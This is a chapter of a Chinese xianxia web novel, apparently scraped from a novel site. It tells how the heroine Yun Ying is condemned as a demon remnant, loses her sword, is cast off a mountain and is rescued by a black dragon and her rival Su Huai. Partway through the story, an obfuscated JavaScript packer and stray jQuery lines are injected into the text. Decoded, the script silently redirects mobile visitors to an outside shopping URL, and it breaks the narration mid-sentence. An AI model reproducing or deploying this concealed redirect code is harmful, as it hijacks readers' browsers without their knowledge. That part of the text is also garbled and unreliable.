文趣网 > 其他小说 > 被迫与死对头在一起后 > 3. 为何要救我?
    清灼剑骤然鸣响,凛冽剑光穿透漫天风雪,携着云潆濒死的恨意,直取薛伊人面门。

    薛伊人仓促抬手凝起灵力格挡,可清灼百年名器,锋锐岂是寻常术法可挡。

    寒光掠瞬即至。

    两道交错的血痕骤然在她面颊绽开,皮肉翻卷,鲜血顺着精致下颌不断滚落。那张素来引以为傲、娇美明艳的容颜,顷刻间彻底损毁。

    凄厉的惨叫骤然炸开,薛伊人死死捂住脸面,猩红血水源源不断从指缝溢出,痛得浑身颤抖。

    变故只在一瞬。

    立在后方的玄袍长老眸光骤冷,袖袍猛然一振,掌心凝出厚重沉滞的青灰色法诀,不带半分停顿,朝着悬在空中的云潆轰然拍出。

    清灼剑感知到主人危机,剑身骤然回转,横挡在云潆身前。

    “嘭——”

    沉闷巨响震荡四野。

    坚硬剑身在法诀重击下剧烈震颤,细密裂痕如同冰纹,自剑脊飞速蔓延整片剑身。脆裂声响刺耳刺骨,不过瞬息,百年灵剑寸寸崩碎,化作漫天晶亮碎屑,飘散消融在风雪之中。

    剑灵最后的微光散尽,彻底沉入识海,沉寂不醒。

    云潆视线怔怔落在漫天消散的剑光上,心口像是被生生剜去一块。

    清灼替她挡下了这足以碎魂的致命一击,从此灵剑断裂,剑灵沉眠。

    “果真是魔族余孽,出手歹毒至极。”

    玄袍长老目光冷霜覆面,字字沉冷如冰,落在风雪里格外刺骨:“当年你便阴狠狡诈,残害同门。若不是怀仁屡次偏心护你,你早该为我徒儿元林偿命,死在我剑下!”

    话音未落,怀仁上仙已然抬手,凛冽灵力直逼云潆丹田,意图生生剥离她的灵根。

    脖颈被巨力死死锁攥,悬空窒息的压迫感死死裹着她。唇瓣迅速失色泛乌,十指僵硬泛白。

    霸道灵力蛮横钻入丹田,顺着经脉肆意冲撞,仿佛有无数利刃在骨缝里翻搅切割。

    隆冬寒天,她浑身剧痛震颤不止,额角冷汗层层渗出,顺着苍白侧脸滑落。

    剧痛浸透四肢百骸,可她却死死睁着眼,不肯示弱半分,唇瓣艰难翕动,声音破碎却字字铿锵,带着血沫铮铮落地:

    “我三岁入宗,六岁结丹,十二岁元婴,二十二岁化神。”

    “百余年来,我不是在山巅苦修,便是下山斩祟安民。你们人人张口魔族、闭口妖孽,无一人信我半分清白。”

    她眼底燃着濒临熄灭、却愈发倔强的微光,声音嘶哑刺骨:“就算我真身附魔骨又如何?百余年来,我从未害过一人,从未祸过苍生!在座的各位何曾有资格审判我云潆!”

    满场弟子寂静无声。

    人人冷眼旁观,眼底藏着盲从的漠然,只需适时附和讨伐,便自诩立身正义。

    风雪穿堂而过,吹散她破碎的话音。

    “今日之后——”

    云潆眼底最后一丝师徒温情彻底寂灭,字字决绝:“你我师徒,恩断义绝!”

    怀仁指尖灵力刚触碰到她根植灵海的灵根,骤然遭遇一股磅礴诡异的力量反噬。

    那股潜藏在她识海深处的灵力骤然苏醒,顺着他的灵力逆向蔓延,无声吞噬、掠夺他的修为。

    百年前那令他梦魇的压迫感再度袭来。

    怀仁神色骤变,心底骤生惊惧,慌忙撤去灵力。

    扼住脖颈的力道骤然松开。

    云潆身形脱力,重重从半空坠落,狠狠砸在冰冷的白玉石阶之上。

    她抬眼望去,怀仁凝视她的眼神,再无半分师徒情分,只剩极致阴狠忌惮,仿佛在看一头蛰伏百年、随时噬人的怪物。

    殿侧,一直静默伫立的宿淮,悄然与离恒上仙对视一眼。

    片刻后,宿淮淡声告退,称要回峰练剑,转身离去。

    仙宗众人注意力尽数锁在云潆身上,无人留意他的悄然离场。他常年居于离尘峰,本就素来寡言少动,在宗门之中本就不显。

    怀仁盯着地上奄奄一息的云潆,眼底戾气翻涌。

    灵根无法剥离,反噬诡异凶险,既然废她不得,那便唯有一杀。

    可不等他再度出手,离恒上仙已然抢先一步。

    “魔族余孽不除,必为三界大患,后果不堪设想!”

    离恒上前一步,声音肃然响彻大殿:“怀仁你心慈手软,后患无穷!你既下不去手,便由本尊替你清理门户!”

    话音未落,她双手结印,手法快得肉眼难辨,淡蓝色灵力在掌心疯狂翻涌,转瞬凝聚成汹涌浩荡的水瀑之力,带着摧枯拉朽的威势,直直朝云潆席卷碾压而来。

    云潆重伤垂危,灵力枯竭,连抬手抵挡的力气都无。

    漫天绝望席卷而来,她终究只能含恨阖上双眼。

    磅礴灵力狠狠撞在她残破的胸口。

    巨力穿体,她整个人如断线残蝶,骤然倒飞而出。

    白玉栏杆、山巅云海在眼底飞速掠过,身下骤然一空。

    她被硬生生打出鹿台山巅,坠入万丈虚空。

    山巅风烈雪狂,卷得怀仁衣袍猎猎翻飞。

    他静静立在高处,望着那道染血身影被茫茫云海彻底吞没,直至彻底不见踪迹。

    两掌重创、灵剑尽碎、坠下万丈深渊,绝无生还可能。

    可眼底深处,却藏着一丝被截胡的不悦。

    他本想亲手了结百年羁绊,终究被离恒抢了先机。

    片刻沉寂,怀仁敛去眼底所有阴戾,转身再度换上素来温润谦和的仙尊模样,语气温和从容,安抚全场:“诸位所见已然分明,魔族余孽已然伏诛。今日风波就此作罢,众人各自回峰修行即可。”

    他转身从容步入大殿,袖中双手反复收紧、松开,心绪翻涌难平,面上却无半分显露。

    满殿弟子心绪纷乱。

    短短一日,天翻地覆。

    百年敬仰的首席师姐沦为魔族余孽,身死深渊;备受瞩目的二师姐容颜尽毁;天真纯粹的小师妹无辜殒命。

    风雪愈发凛冽,刺骨寒风混着碎雪灌入咽喉,冷得割人皮肉。

    万丈深渊之下,云海翻涌茫茫,不见底、不见光。

    云潆身在半空飞速坠落,浑身筋骨仿若碎裂殆尽,丹田空空荡荡,灵力彻底枯竭,连稳住身形的微末力气都寻不到。

    修士寒暑不侵,可此刻她只觉得彻骨寒凉,从皮肉冷到心魂。

    她素来不信天命,百余年逆天苦修、勤勉向善,不信这种虚无缥缈的东西。

    可此时此刻,无尽虚空裹着她不断下坠,无力、无望、无援。

    报仇无门,清白难证,护不住唯一待她赤诚的梨落,连自身冤屈都无处诉说。

    无尽颓然与悲凉浸透心骨。

    染血白袍在风雪中肆意翻飞,像一只濒死的残蝶,无助坠入无尽寒冬虚空。

    意识彻底沉沦的前一瞬,朦胧之间,她仿佛听见一声低沉浑厚的异兽鸣啸,穿透层层风雪云海。

    眼皮重若千斤,她再也支撑不住,彻底陷入黑暗。

    漫天云海深处,一道庞大黑影逆穿云层,骤然现世。

    通体鳞甲漆黑如玄铁,在稀薄天光下泛着冷冽幽光。龙角峥嵘,蛇身矫健,利爪锋利,腹下暗金纹路蜿蜒流动,似熔岩蛰伏。

    上古黑蛟,破云而来,转瞬掠至深渊之下。

    精准接住坠落的人影,宽厚坚硬的额首稳稳托住她残破冰冷的身躯。

    琥珀色竖瞳微微垂落,凝视着背上气息微弱、满身血污的女子。

    风雪落于墨色鳞甲,凝成薄白霜痕。

    低沉龙鸣轻震虚空,玄螭调转身形,载着昏迷不醒的云潆,朝着云海尽头的雾隐渊飞速掠去。

    庞大墨色身躯划过灰白天幕,转瞬千里,将巍峨鹿台山彻底抛作天边一点微茫,直至彻底消散。

    雾隐渊,终年雾锁,迷雾不散,与世隔绝。

    此地荒无人烟,唯有避世逃杀的修士偶尔隐匿于此,是三界最僻静荒芜之地。

    玄螭悬停在渊上空,一眼便望见早已等候在此的宿淮。

    它微微侧身,随性一甩,将背上之人轻抛而出。

    宿淮

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17966342|214529||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    上前稳稳接住那具轻飘飘、冷得近乎失温的身躯。

    玄螭琥珀色竖瞳带着十足傲娇与不耐,冷哼一声,声震云雾:“人给你带来了,无事勿扰本尊清眠。”

    宿怀垂眸看着怀中奄奄一息的人,眉眼间漫着几分玩味笑意,抬头故意打趣:“知晓知晓,多谢大黑蛇相助。”

    “本尊非蛇!”

    玄螭瞬间炸毛,龙目圆睁,周身鳞甲骤然绷紧,一口灼热火焰喷薄而出,直扑宿淮面前。

    宿怀侧身轻巧避开,连忙顺势安抚:“错了错了,是尊贵无上的玄螭龙君,切莫动怒。”

    玄螭不屑地瞥他一眼,懒得纠缠,庞大身形一晃,隐入层层浓雾,归渊休憩。

    宿怀抱着满身伤痕的云潆,身形一闪,瞬移入雾隐渊深处的山洞之中。

    洞内干燥静谧,唯有一方冰冷石床。

    他将人轻轻放置床上,看着那张毫无血色、泪痕血痕交错的脸庞,眼底玩味尽数收敛,静静伫立,眸色沉沉,不知思虑几许。

    ……

    两月光阴,弹指而过。

    山洞静谧无光,昏暗潮湿。

    云潆沉睡许久,终于有了些许意识。

    眼皮沉重如压万山,她费力掀开眼帘,视线朦胧昏暗,许久才勉强看清周遭轮廓。

    凹凸不平的岩石洞顶,石缝渗水,水珠凝结,时不时啪嗒落在额角,冰凉刺骨。

    浑身筋骨酸痛发麻,像是被生生拆解重组,每一寸皮肉都透着脱力的虚弱。

    昏迷前的血色画面,一幕幕涌入脑海——

    污蔑、掌击、碎剑、坠崖、还有梨落最后带着期盼的笑意与未吃完的月梨酥。

    心口骤然紧缩,钝痛翻涌。

    指节下意识死死攥紧,片刻后又无力松开。

    她如今灵力尽散、身受重创,一无所有,连自保之力都无。

    可只要她尚存一口气,梨落的冤屈、自己的清白、所有亏欠与背叛,她终有一日,会一一讨回。

    她试着抬手,指尖微动,便牵扯得整条手臂震颤酸痛,丹田空荡荡一片死寂,再也没有往日充盈浩荡的灵力。

    百余年苦修根基,近乎崩塌殆尽。

    细微的动静,终究惊动了一旁静坐打坐的宿淮。

    他收了功法,缓步走到石床前,居高临下,静静打量苏醒的她,语气漫不经心:“睡了两月,总算醒了。”

    云潆抬眸望着他,眼底满是浓重疑惑。

    喉咙干涩刺痛,两月未语未进水,她只能艰难挤出破碎字音:“水……”

    宿淮闻言,转身取来石杯,斟满温水。

    悬空递至她身前。

    云潆勉力抬身伸手去接,手臂虚软无力,指尖刚触到杯沿,便无力倾斜。

    温水尽数泼洒在衣襟之上,冰凉濡湿。

    宿淮看着她虚弱狼狈的模样,无奈轻叹。

    “连杯水都端不稳。”

    他再度斟水,俯身,将杯沿递到她唇边。

    云潆此刻早已顾不上姿态体面,小口急促吞咽,干涸的喉间终于稍稍舒缓。

    缓过数息,她凝眸看向宿淮,声音依旧沙哑虚弱,带着极强的警惕与不解:“是你……救了我?为何?”

    她心中满是疑云。

    她与宿淮渊源极少,反倒积怨最深。

    二人最早纠葛,始于秘境争剑。当年清灼现世,秘境只剩他们二人,各凭本事相争,谁也不肯退让。那一架打得惨烈,她在他背后留下深可见骨的刀伤,自己亦是满身伤痕。直至清灼自主择主,认她为主,争斗方休。

    后来怀仁闭关,她守掌事殿,深夜撞见宿淮潜入探查,二人再度交手。她一剑直刺心口,只差分毫便取他性命,若非离恒上仙及时现身阻拦,当年恩怨便已了结。

    几番交手,次次凶险,梁子早已结死。

    她从未想过,最后会出手救下自己性命的,竟是宿淮。

    宿淮垂眸望着她满眼戒备、强撑坚韧的模样,坦然直言,语气毫无遮掩:

    “自是因为你对我有用。”